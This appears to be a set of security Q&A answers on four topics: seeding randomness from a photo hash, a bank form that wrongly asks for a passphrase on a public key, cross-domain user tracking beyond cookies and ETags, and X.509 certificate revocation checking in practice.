A single photo ought to contain a lot of entropy, unless the camera output is covered in some way and the picture is uniformly black. A word of warning, though: if the hash of the photo is used as a secret (and that's the case if you want to use it as seed for a PRNG to produce keys), then that photo must remain confidential: hash it, but never let it be written as a file in the Flash memory of the phone. The photo should be obtained in RAM only, hashed, and then discarded. I don't know what API for photo capture applications have in a typical phone; it seems probable that you can obtain the photo without hitting the Flash in any way, but I invite you to check.


Why would a public key have a passphrase?

I think they're just trying to be user-friendly, in the worst possible way. PKCS#12 files (.p12 or .pfx) are used for key pairs - both the public and private parts - and the private part will be encrypted. The bank never needs, nor should ever see, the private key! Consequently, they shouldn't even accept such files - just the .der or .cer or .pem or .crt for the X.509 certificate (which only contains the public key) to use S/MIME, or the .asc or sometimes .pub PGP public key (of course, a .asc file can contain anything, but we'll hope the user wasn't stupid enough to export their private key) - and definitely shouldn't ask for a passphrase.

Anything that the bank needs a passphrase for, that means the user uploaded the wrong file. Public keys do not have, and do not need, passphrases. That's presumably why the field is optional - anybody using the form correctly will not have a passphrase on the file they upload, because they'll be uploading a public key (only) - but it's still absolutely abysmal design on the part of the bank.

With that said, good on them for supporting secure email at all. My bank still think that (trivially wire-tappable) fax machines and (easily-stolen) snail-mail post are the height of secure remote communications.


(besides fingerprinting which is not considered here)

I don't think it's very helpful to distinguish fingerprinting from tracking.

  Is it correct that (third-party) cookies and ETags provide the only way to track users across domains

No.

All tracking methods work by assigning a unique ID to you and making sure that you (or your browser) send that ID back when you visit a domain.

You're assuming that only cookies and ETags get sent back automatically (thanks to the HTTP protocol), but a website can pretty much run any code it wants on your computer by embedding Javascript.

Whether the javascript code calculates a browser fingerprint or phones home a tracking ID doesn't really matter. Javascript has to jump through some hoops because of cross domain attack prevention schemes such same origin policies, but thanks to CORS, if the domains in question cooperate, javascript will happily follow along. This isn't really a limitation to tracking compared to the cookie method because in order for cookie cross-domain tracking to work, the domains in question must also cooperate (e.g. embed a doubleclick resource).

Leaving javascript out of the picture, ETags and Cookies aren't the only cross-domain tracking possibilities by far.

For example, you could also use the other cache control HTTP headers to send unique ids, for example an id that was encoded as a specific point in time (via Last-Modified headers).

Or you could have a tailored stylesheet that gets cached by your browser and requests a unique resource, for example a background image with a name that encodes a unique id. As long as that image doesn't get cached (it may be sent with the caching headers set accordingly), your browser will keep requesting it whenever it encounters a page that uses the cached stylesheet...


A doubt in certificate chain validation and revocation checking

The theory of X.509 is that revocation checks should occur on all certificates -- not only all certificates in the chain, but also for any extra certificate which was needed to validate the revocation information (CRL, OCSP response...), recursively.

Of course, theory and practice match perfectly only in theory. Some systems (browsers, OS...) will do not check at all. Some will check only the leaf. Some will check revocation status for all certificates in the chain (but not for extra certificates, if these happen to be used). Moreover, the systems differ in their behaviour when revocation status cannot be obtained (e.g. CRL download fails, or no CRL/OCSP URL can be located). Moreover, such behaviour also depends on whether the certificate is supposed to be "EV" or not: EV certificates are called such because they result from agreements between CA and browser vendors; browsers display them with a specific graphic code (which supposedly increases user's confidence and trust) on the basis that they also enforce stricter checks, including a whole-chain revocation status check.

See this page for a discussion of issues and solutions about revocation status checks in the Mozilla family of browsers (i.e. Firefox).

Also, remember that revocation status check is, ultimately, a damage containment feature: when a private key is stolen, and the theft is discovered, then the CA can enforce through revocation an "early expiration", which shortens the time window during which the key thief can leverage his indelicacy. In practice, you would be hard pressed to find an actual case where revocation saved the day. As Peter Gutmann says, stricter revocation checks don't actually prevent anything that attackers really do on non-EV certificates (as observed in the wild).

Even when private keys are actually stolen (this does not happen often), the asynchronism which is inherent to revocation handling means that attackers get at least a few hours of free access. The core point is that revocation is reactive: regardless on how often you issue CRL or update OCSP servers, revocation may occur only after the key theft has been discovered and reported to the CA. In practice, when a private key is stolen and used by attackers, the theft is detected because the attackers have setup a fake site which uses the stolen key.